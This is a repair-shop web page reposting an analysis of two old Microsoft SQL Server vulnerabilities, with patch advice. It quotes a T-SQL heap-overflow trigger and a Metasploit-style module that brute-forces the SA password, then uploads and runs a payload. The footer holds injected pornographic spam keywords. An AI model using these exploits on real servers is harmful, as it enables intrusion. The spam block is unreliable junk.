錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
Microsoft SQL Server漏洞淺析

作者: 佚名  日期:2018-11-10 14:49:52   來源: 本站整理

 0x01 Microsoft SQL Server數(shù)據(jù)庫簡介
Microsoft SQL Server是微軟公司推出的關(guān)系型數(shù)據(jù)庫管理系統(tǒng),因其具有使用方便與可伸縮性好,且與相關(guān)軟件集成程度高等優(yōu)點,從而被廣泛使用。Microsoft SQL Server 數(shù)據(jù)庫引擎為關(guān)系型數(shù)據(jù)和結(jié)構(gòu)化數(shù)據(jù)提供了更安全可靠的存儲功能,可以構(gòu)建和管理對高可用和高性能有需求的業(yè)務(wù)業(yè)務(wù)場景。
目前Microsoft SQL Server數(shù)據(jù)庫在全球的應(yīng)用量也比較靠前,據(jù)統(tǒng)計,在全球范圍內(nèi)對互聯(lián)網(wǎng)開放Microsoft SQL Server數(shù)據(jù)庫服務(wù)的資產(chǎn)數(shù)量多達(dá)237,065臺,發(fā)現(xiàn)中國地區(qū)對外開放的Microsoft SQL Server數(shù)據(jù)庫服務(wù)數(shù)量排名第一,數(shù)量為75793臺,接近全球總量的30%。排名第二與第三的分別是美國與荷蘭地區(qū),其對外開放的Microsoft SQL Server數(shù)據(jù)庫服務(wù)數(shù)量分別為35,965臺和33,664臺。由此看來,國內(nèi)使用Microsoft SQL Server數(shù)據(jù)庫的用戶很廣泛,對Microsoft SQL Server數(shù)據(jù)庫的漏洞防范就顯得尤為重要了。

(統(tǒng)計數(shù)據(jù)僅為對互聯(lián)網(wǎng)開放的資產(chǎn),本數(shù)據(jù)來源于FOFA。)
0x02 Microsoft SQL Server漏洞概述
近幾年Microsoft SQL Server數(shù)據(jù)庫爆發(fā)的漏洞數(shù)量與其它類型數(shù)據(jù)庫相比,所暴露出來的漏洞相對較少。在此,挑選兩個可利用性高,且具有代表性的漏洞進(jìn)行分析,分析列表如下:

0x03 Microsoft SQL Server漏洞分析
1、CVE-2008-5416 漏洞分析
一、漏洞信息:

二、漏洞概述:
Microsoft SQL Server是一款流行的SQL數(shù)據(jù)庫系統(tǒng)。Microsoft SQL Server的sp_replwritetovarbin擴(kuò)展存儲過程中存在堆溢出漏洞,如果遠(yuǎn)程攻擊者在參數(shù)中提供了未初始化變量的話,就可以觸發(fā)這個溢出,向可控的位置寫入內(nèi)存,導(dǎo)致已有漏洞SQL Server進(jìn)程的權(quán)限執(zhí)行任意代碼。在默認(rèn)的配置中,任何用戶都可以訪問sp_replwritetovarbin過程。通過認(rèn)證的用戶可以通過直接的數(shù)據(jù)庫連接或SQL注入來利用這個漏洞。
三、漏洞影響:
· Microsoft SQL Server 受CVE-2008-5416漏洞影響的版本如下:
· MSSQL 2000 / MSDE SP0 (8.00.194)
· MSSQL 2000 / MSDE SP1 (8.00.384)
· MSSQL 2000 / MSDE SP2 (8.00.534)
· MSSQL 2000 / MSDE SP3 (8.00.760)
· MSSQL 2000 / MSDE SP4 (8.00.2039)
· MSSQL 2005 SP0 (9.00.1399.06)
· MSSQL 2005 SP1 (9.00.2047.00)
· MSSQL 2005 SP2 (9.00.3042.00)
四、漏洞分析:
1、CVE-2008-5416漏洞PoC利用代碼分析:
我們從互聯(lián)網(wǎng)中找到了CVE-2008-5416漏洞PoC,如下是漏洞PoC利用代碼片段:
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
 
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''
 
SET @val = CHAR(0x41)
 
SET @counter = 0
WHILE @counter 
通過PoC代碼可以看出,先定義未初始化的自定義變量,然后傳入超長數(shù)據(jù)段(數(shù)據(jù)段中可構(gòu)造惡意攻擊代碼),通過sp_replwritetovarbin擴(kuò)展在存儲過程中進(jìn)行堆溢出,將構(gòu)造的攻擊代碼寫入內(nèi)存并執(zhí)行。
2、CVE-2008-5416漏洞攻擊流量分析:
攻擊者TDS協(xié)議對靶機(jī)發(fā)起遠(yuǎn)程登陸認(rèn)證請求,因為該漏洞只有遠(yuǎn)程認(rèn)證成功后才可以進(jìn)一步被利用。如下所示:

當(dāng)?shù)顷懻埱笳J(rèn)證成功后,進(jìn)一步查詢數(shù)據(jù)庫服務(wù)器的版本信息。如下所示:

在確定數(shù)據(jù)庫系統(tǒng)的版本信息后,再進(jìn)一步選擇對應(yīng)的攻擊PayLoad載荷,進(jìn)行存儲過程溢出攻擊。如下所示:

五、漏洞驗證:
通過Metasploit滲透測試框架對存在CVE-2008-5416漏洞的靶機(jī)進(jìn)行測試,發(fā)現(xiàn)可以利用成功。如下圖所示:

六、漏洞修復(fù)建議:
Microsoft已經(jīng)為此發(fā)布了一個安全公告(MS09-004)以及相應(yīng)補(bǔ)丁。鏈接如下:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2009/ms09-004
2、CVE-2005-4145漏洞分析:
一、漏洞信息:
· 漏洞名稱:Lyris ListManager MSDE Weak SA Password Vulnerability
· 漏洞編號:CVE-2005-4145
· 漏洞類型:Weak Password Vulnerability
二、漏洞概述:
Lyris_technologies_inc Listmanager是Microsoft SQL Server MSDE中的一款重要組件,由于Lyris_technologies_inc Listmanager 5.0 – 8.9b版本中存在將數(shù)據(jù)庫的SA帳戶配置為使用具有小型搜索空間的密碼的設(shè)計缺陷,導(dǎo)致攻擊者可遠(yuǎn)程通過暴力破解攻擊獲取Microsoft SQL Server數(shù)據(jù)庫的訪問權(quán)。三、漏洞影響:
Lyris_technologies_inc Listmanager受CVE-2005-4145漏洞影響的版本如下:
· Lyris_technologies_inc Listmanager 5.0  
· Lyris_technologies_inc Listmanager 6.0  
· Lyris_technologies_inc Listmanager 7.0  
· Lyris_technologies_inc Listmanager 8.0  
· Lyris_technologies_inc Listmanager 8.8a
四、漏洞分析:
1、漏洞PoC代碼分析:
我們從互聯(lián)網(wǎng)中找到了CVE-2005-4145漏洞PoC,如下是漏洞PoC利用代碼片段:
def exploit
# New installations use a randomly generated suffix like "lyris629dAe536F"
    pass = nil
    while(true)
      print_status("Trying to authenticate with password 'lminstall'...")
      if(mssql_login('sa', 'lminstall'))
        pass = 'lminstall'
        break
      end
 
      print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
      1.upto(65535) do |pid|
        if(pid % 1000 == 0)
          print_status(" >> Completed #{pid} of 65535 authentication requests")
        end
 
        if(mssql_login('sa', "lyris#{pid}"))
          pass = "lyris#{pid}"
          break
        end
      end
      print_status("This system does not appear to be exploitable")
      return
    end
 
    print_status("")
    print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
    print_status("")
    exe = generate_payload_exe
    mssql_upload_exec(exe)
    handler
    disconnect
  end
end
從上面的漏洞PoC代碼可以看出,先嘗試使用賬號SA,密碼lminstall進(jìn)行嘗試登陸,如成功,就執(zhí)行下面的SQL利用代碼,否則,進(jìn)一步對SA賬戶進(jìn)行進(jìn)程PID暴力枚舉來獲取登陸權(quán)限,如登陸成功,同理,執(zhí)行下面的SQL利用代碼。
2、CVE-2005-4145漏洞PoC數(shù)據(jù)包分析:
攻擊者通過TDS協(xié)議對靶機(jī)不停的發(fā)起遠(yuǎn)程登陸認(rèn)證請求,用戶名為SA,不停的枚舉密碼。

五、漏洞驗證:
通過Metasploit滲透測試框架對存在CVE-2005-4145漏洞的靶機(jī)進(jìn)行測試,發(fā)現(xiàn)可以利用成功。如下圖所示:

技巧提示:CVE-2005-4145漏洞PoC通過默認(rèn)賬號或指定賬號的方式來進(jìn)行枚舉測試,由于代碼實現(xiàn)比較簡單,也比較雞肋。我們可自行通過Hydra等工具枚舉成功后,再將枚舉成功的值填寫Password字段中,然后進(jìn)一步快速深度利用。
六、漏洞修復(fù)建議:
目前,官方已經(jīng)在Lyris_technologies_inc Listmanager 8.9b版本修復(fù)了此漏洞,可自行升級到8.9b及以上版本。
0x04結(jié)語
通過對Microsoft SQL Server進(jìn)行一些列的梳理和分析,可以從以下幾個維度進(jìn)行歸納和總結(jié):
1、高危漏洞主要分布在:Microsoft SQL Server 7、Microsoft SQL Server 2000、Microsoft SQL Server 2005這三個版本。
2、影響范圍比較廣的漏洞類型有:緩沖區(qū)溢出漏洞、弱密碼、權(quán)限提升、拒絕服務(wù)等四種。
3、Microsoft SQL Server高危漏洞的觸發(fā)條件比較苛刻,基本上都需要先通過賬號進(jìn)行登陸才能進(jìn)一步利用。
4、Microsoft SQL Server類漏洞比較集中爆發(fā)的時期是1997年至2005年這8年。隨著微軟對安全性越來越重視,在隨后發(fā)布的Microsoft SQL Server 2008及之后版本中存在的高危安全性問題越來越少。
 



熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 国产精品无码一区二区三区毛片| 亚洲AV无码专区在线电影成人| 日韩精品无码AV成人观看| 曰韩精品无码一区二区三区| 精品少妇无码AV无码专区| 内射人妻无套中出无码| 无码人妻精品一区二区| 少妇无码?V无码专区在线观看| 久久精品无码精品免费专区| 无码AⅤ精品一区二区三区| 久久国产精品无码HDAV| 国产乱子伦精品无码码专区 | 中文字幕人成无码人妻综合社区| 国产人成无码视频在线观看| 人妻丰满熟妇AV无码区乱| 丰满少妇人妻无码| 日韩少妇无码喷潮系列一二三| 91嫩草国产在线无码观看| 亚洲精品无码国产| 亚洲精品无码乱码成人 | 无码国产亚洲日韩国精品视频一区二区三区| 13小箩利洗澡无码视频网站免费| 50岁人妻丰满熟妇αv无码区| 久久午夜夜伦鲁鲁片无码免费| YY111111少妇无码理论片| 亚洲AV无码专区在线厂| 天堂一区人妻无码| 久久精品无码一区二区三区免费| 99久久国产热无码精品免费| 亚洲AV永久无码区成人网站| 国产av无码专区亚洲av果冻传媒| 国产午夜鲁丝片AV无码免费| 国产aⅴ激情无码久久久无码| 无码人妻精品一区二区三区久久久| 亚洲AV无码成人专区| 无码少妇A片一区二区三区 | 少妇人妻av无码专区| 国产精品无码无卡在线观看久| 人妻精品久久无码区洗澡| 性色av无码免费一区二区三区 | 无码精品久久久天天影视 |